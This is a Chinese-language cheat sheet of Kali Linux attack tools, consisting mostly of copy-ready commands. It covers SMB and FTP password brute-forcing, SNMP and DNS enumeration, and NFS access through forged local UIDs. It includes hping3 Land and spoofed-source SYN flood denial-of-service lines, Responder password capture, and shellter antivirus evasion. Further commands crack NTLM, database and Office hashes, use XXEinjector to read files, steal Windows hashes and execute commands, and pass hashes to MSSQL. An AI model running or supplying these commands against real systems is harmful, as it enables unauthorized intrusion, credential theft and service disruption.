关于kali的一些小工具
基于端口攻击的攻击
基于smb的攻击
1.acccheck
acccheck -t 192.168.1.1 -u root -p root -v //基础语法
参数: -t/T 目标地址/批量字典 -p/P 密码/密码字典 -u/U 账号/账号字典
2.smbmap(smb信息收集器)
smbmap -H 192.168.1.1 //收集smb共享的信息
smbmap -H 192.168.1.1 -u anonymous //匿名登录
smbmap -H 192.168.1.1 -u lee -p xinxin123 -d 域名 //域环境登陆
3.smbclient(smb客户端连接器)
smbclient -N //192.168.1.1/IPC //连接ipc,不用询问密码
smbclient -L 172.16.0.10 -U arm554 //一般是389端口未授权访问
smbclient -L 172.16.0.10 -U arm554 -W rnm --pw-nt-hash //W是工作组,用hash登录
4.enum4linux(基于遍历sid)
enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt 遍历sid的序列 从1000-50000,写入enum4linux.txt里
基于snmp协议的攻击
1.snmp-check
snmp-check 192.168.1.109 -c public -v 2c
参数:
-p 指定SNMP服务端口 -w 检查是否可写
-c 指定community(默认 public) -r 重试次数(默认1次)
-v 指定snmp版本(1、2c,默认1) -t 超时时长(默认5秒)
-d 禁用TCP 连接尝试
2.snmpwalk(弱口令探测器)
snmpwalk的参数比较多,但是我们比较常用的就只有-v和-c参数
-v是版本,一般是1 2c 3 -c一般用public
snmpwalk -v 2c -c public 10.1.1.1 .1.3.6.1.2.1.25.2.2 取得系统总内存
snmpwalk -v 2c -c public 10.1.1.1 hrSystemNumUsers 取得系统用户数
snmpwalk -v 2c -c public 10.1.1.1 .1.3.6.1.2.1.4.20 取得IP信息
snmpwalk -v 2c -c public 10.1.1.1 system 查看系统信息
snmpwalk -v 2c -c public 10.1.1.1 ifDescr 获取网卡信息
snmpwalk -r:$IP -c:public -os:1.3.6.1.4.1.2011.5.2.1.10.1 //获取用户名及加密密码
其他端口
1.nfs 2049
1.rpcinfo
rpcinfo -p ip 查看该主机挂载nfs端口没有
2.showmount
showmount -e ip 显示出nfs挂载的目录 showmount -a IP // 挂载点
showmount IP // 连接的主机 showmount -d IP // 目录
因为此端口接触的比较少,所以就花一点时间来记录一下
mkdir /temp/ //创建一个文件夹
mount -t nfs 192.168.1.172:/ /temp -o nolock //用temp,来挂载我们的nfs文件
df -h //访问192.168.1.172的磁盘信息
如果我们没有权限去访问读取某些文件,那么我们可以uid操作
ls -al //获取文件所有者的UID(用户ID)和GUID(组ID)
useradd <user> passwd <user> //在本地创建一个新用户,并将该用户的UID和名称修改为与文件所有者相同
vi /etc/passwd //然后修改uid,即可
su <useraccount> //然后以su执行我们刚刚创建的用户即可
信息收集
域名收集
1.dnsenum(域名爆破器)
dnsenum baidu.com
参数:
--dnsserver 8.8.8.8 指定DNS server -o report.xml 输出XML格式的文件
--enum 指定线程5,使用谷歌查询,进行whois查询 -w 进行whois查询
--noreverse 跳过反向域名查询 -f dns.txt 指定域名爆破字典
--threads 指定线程
2.dnsrecon(域名爆破器)
dnsrecon -d sina.com.cn 基本的SOA、NS、A、AAAA、MX、SRV查询 dnsrecon -g -d sina.com.cn 标准加google
dnsrecon -r 60.28.2.0/24 反向PTR查询域名 dnsrecon -D dictionary.txt sina.com.cn 字典爆破主机和子域名
dnsrecon -a -d sina.com.cn 标准加axfr区域传输 dnsrecon -z -d weberdns.de 利用NSEC记录获取区域内全部记录,无需爆破
dnsrecon -w -d sina.com.cn 标准加whois查询
参数:
-t brt 使用内建字典 --threads 指定线程数
-t std 默认的标准查询 -t tld 删除并尝试所有顶级域名(IANA)
-t srv 只查srv记录(AD、voip电话) -t axfr 标准加axfr记录(-a)
3.dnswalk
参数:
-r #对指定域名的子域进行递归查询 -l #检查区域文件中NS记录主机是否能返回正确的应答
-a #发现重复的A记录发出告警 -i #不检查域名中的无效字符
-d #将调试状态信息输出到stderr -F #检查PTR记录IP是否与对应A记录相符
-m #仅检查上次运行后发生变化的记录
4.fierce(dns爆破)
fierce -dns baidu.com
目录收集
1.nikto(扫描器)
nikto -h 192.168.1.1 扫目录,-h指定地址
2.dirbuster https://192.168.160.1 (扫描器)
3.dirb (扫描器)
dirb https://192.168.160.1 ./aspx.txt
dirb https://192.168.160.1 ./aspx.txt ./dir.txt //多字典挂载
dirb https://192.168.160.1 ./aspx.txt -a "ua" -c "cookie" //自定义user-agent,cookie
主机探寻
1.dnstracer(路由跟踪)
dnstracer -co4 -s . www.baidu.com
参数:
-c #不使用本地缓存 -s . #指定初始查询的服务器是根域
-o #只显示查询简介 -4 #不进行IPv6查询
2.hping3(发包工具)主要测试防火墙的拦截规则
常规用法 hping3 192.168.1. 端口扫描 hping3 192.168.1.1 -S -8 1-1024
LandAttack hping3 192.168.1.1 -S -a 192.168.1.1 -p 80 ICMP路由追踪 hping3 www.baidu.com -T -V -1
DoS Attack hping3 192.168.1.1 -V -d 100 -S -w 64 -p 445 -s 445 --flood --rand-source
基础参数:
-c 限制发送总数 -T 路由探测
-i 发包间隔X秒,ux 微妙 -e 指定特征码/数据内容
--flood 利用主机最大性能发包 -E 指定文件内容作为数据发送
-I 指定网卡 -d 控制数据段大小
-D debug -z Ctrl +z 绑定TTL值,按一下TTL值加一,按两下减一
协议选择:
【*】默认使用TCP协议,默认端口0,无任何flag
-0 #rawip,默认TCP为上层协议,但无TCP头 -9 listen模式,此处和-e 连用可以匹配特征码
-H 指定IP头协议字段,只能工作在rawip模式下 -8 scan模式,对目标端口进行扫描(-S/F/X/Y/A/R/P/U)
-1 ICMP模式,发送icmp包 -2 发送UDP包,默认端口0
定制IP头:
-a 伪造源IP -f IP数据段每16字节分片,-m 指定具体数值
--rand-source 随机伪造原地址 -r 发现IPID变化规律(注意看id 字段)
--rand-dest 随机目的地址 -N 指定IPID,默认随机(当需要分片发送数据包时使用)
-t 指定TTL值
定制TCP/UDP
-s 指定源端口(第一个包会是被指定的端口,后续包的源端口会依次加一) --tcp-timestamp 启动时间戳选项,猜测远程UP主机时间
-p 指定目标端口 --tcp-mss 指定最大TCP段大小
-w 指定window 大小(可用于进行slowhttp攻击) -b 指定checksum
-M 指定sequence number -Q 发现目标机器sequence number变化规律
3. unicornscan(基于ARP的扫描工具)
unicornscan -mU 192.168.1.100
4.netdiscover(基于ARP的扫描工具)
netdiscover -r 192.168.1.0/24 -i wlan0
5.arpscan(基于ARP的扫描工具)
arp-scan --interface=wlan0 --localnet
6.tcpdump(捕获ICMP数据包)
tcpdump -i tun0 icmp
基于内网渗透
1.responder(基于内网WPAD的中间人攻击)
语法: responder -I eth0 -wFb 获取内网请求明文密码
2.ldapsearch(内网渗透信息收集的工具)
参数说明:
-x 进行简单认证 -b 指定要查询的根节点
-H 服务器地址 -w 绑定DN的密码
-D 用来绑定服务器的DN
dapsearch -x -H ldap://192.168.1.1:389 -D "CN=test,CN=Users,DC=test,DC=com" -w abc123! -b "DC=test,DC=com" | grep replUpToDateVector -A 13 //简单的获取密码策略
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=test,CN=Users,DC=test,DC=com" -w abc123! -b "DC=test,DC=com"
3.shellter(免杀)
有些kali自带,有些不自带,然后具体跟MSF一样,我就介绍一些参数
Enable Stealth Mode,是否启用隐身模式,启用后免杀效果会变差,建议不启用。
4.searchsploit(找漏洞)
searchsploit drupal 7.x //查找drupal7的漏洞 searchsploit wordpress //查找wordpress的漏洞
searchsploit drupal 7.x -x exploits/php/webapps/38041.txt //查看具体的文章内容或者EXP代码
searchsploit drupal 7.x -m exploits/php/webapps/38041.py //将EXP复制到当前路径
searchsploit -t windows local 查找windows的漏洞
searchsploit -t Apache local 查找apache的漏洞
5.hashcat (破解hash的,也可以识别加密方式)
参数讲解:-a 指定要使用的破解模式
0 | Straight(字段破解) 1 | Combination(组合破解) 3 | Brute-force(掩码暴力破解) 6 | Hybrid Wordlist + Mask(字典+掩码破解) 7 | Hybrid Mask + Wordlist(掩码+字典破解)
-m 指定要破解的hash类型,如果不指定类型,则默认是MD5
常用的命令:
hashcat -m 5600 Querier.NetNTLMv2 /usr/share/mima.txt //破解NetNTLMv2hash
hashcat -a 0 -m 1000 hash ./dic.txt 1000是ntlm-hash
hashcat -a 0 hash.txt password.txt -o result.txt //批量破解
hashcat -a 3 -m 300 --force 6A39F250FBF1C33310D48BB5596D9DD703BEBB8B //破解mysql4.1/5(password)函数
hashcat -a 3 -m 132 --force 0x01008c8006c224f71f6bf0036f78d863c3c4ff53f8c3c48edafb //破解mssql
hashcat -a 0 -m 1800 hash 1.txt -D 1 //这个是破解SHA-512,-D 1调用CUP设备进行运算 这里顺便补充一下格式
$1(5)(6)$ 分别表示md5 SHA-256 SHA-512
hashcat -a 3 -m 13000 --force $rar5$16$639e9ce8344c680da12e8bdd4346a6a3$15$a2b056a21a9836d8d48c2844d171b73d$8$04a52d2224ad082e //破解rar文件压缩密码
hashcat -a 3 -m 9600 $office$*2013*100000*256*16*e4a3eb629c*577f8d8b2e1c5f60fed76e62327b38d28f25230f6c7dfd66588d9ca8097aabb9 --force //破解Office文件
6.john(也是破解hash的)
john --worldlist=/usr/share/mima.txt Querier.NetNTLMv2
7.sslscan https://192.168.160.1 (能扫心脏滴血)
8.svwar (定位sip extension的)
语法:svwar -e100-999 10.0.0.1(一般配合某套系统打组合拳用),比如Elastix 系统
其他工具
1.7z (解压工具)
2.medusa(爆破工具)
medusa -h *.*.*.* -U u.txt -P p.txt -e ns -O ok.txt -t 3 -T 3 -v 6 -M ftp
3.rar2john zip2john rar2john 1.rar //zip,rar,还有office文件 python3 office2john.py 1.docx
一些重要的工具
whatweb
whatweb -v 3 192.168.159.1 单独探测
whatweb 112.125.93.227/24 --url-suffix=":8080" 扫了某一个C段,批量探测端口
whatweb -a 3 --proxy-user admin:passwoed www.dvwa.com/login.php --proxy-user admin:password通过--proxy-user的方式可以指定用户名和密码进行探测
wpscan
wpscan --url https://www.xxxxx.wiki/ 扫网站
wpscan --url https://www.xxxxxxx.wiki/ --enumerate u 我们可以对其用户进行枚举
wpscan --url https://www.xxxxx.wiki/ -e u --wordlist /root/桌面/password.txt 用字典
wpscan -u https://www.xxxxx.wiki/ -enumerate p 扫插件
wpscan --url https://www.xxxxx.wiki/ --enumerate vp 扫插件内容
wpscan --url https://www.xxxxx.wiki --enumerate t 扫主题
wpscan --url https://www.xxxxxx.wiki --enumerate vt 扫主题存在的漏洞
wpscan -u https://www.xxxxxx.wiki/ -enumerate tt 扫文件漏洞
joomscan
joomscan -u http://192.168.1.109/ 扫网站
msscan
masscan 10.0.0.0/8 -p80 --banners --source-ip x.x.x.x 获取banner信息
masscan -p80,3306,8080-8100 45.153.42.0/24 我用的最多的命令
XXEinjector
(1)枚举HTTPS应用程序中的/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
(2)使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
(3)二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
(4)使用HTTP带外方法和netdoc协议对文件进行爆破攻击
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
(5)通过直接性漏洞利用方式进行资源枚举
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
(6)枚举未过滤的端口
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
(7)窃取Windows哈希
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
(8)使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
(9)使用PHP expect执行系统指令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
(10)测试XSLT注入
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
(11)记录请求信息
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.tx
mssqlclient.py
python3 mssqlclient.py cpwgp:password@192.168.1.1 基于mssql账户认证
python3 mssqlclient.py leecinsy/cpwgp:password@192.168.1.1 -windows-auth 基于windows认证
python3 mssqlclient.py cpwgp:password@192.168.1.1 -file command.txt 执行command里的命令 执行sql命令
python3 mssqlclient.py -p 1433 -hash :aaaa leecinsy/cpwgp@192.168.1.1 -file sql.txt -windows-auth 用hash执行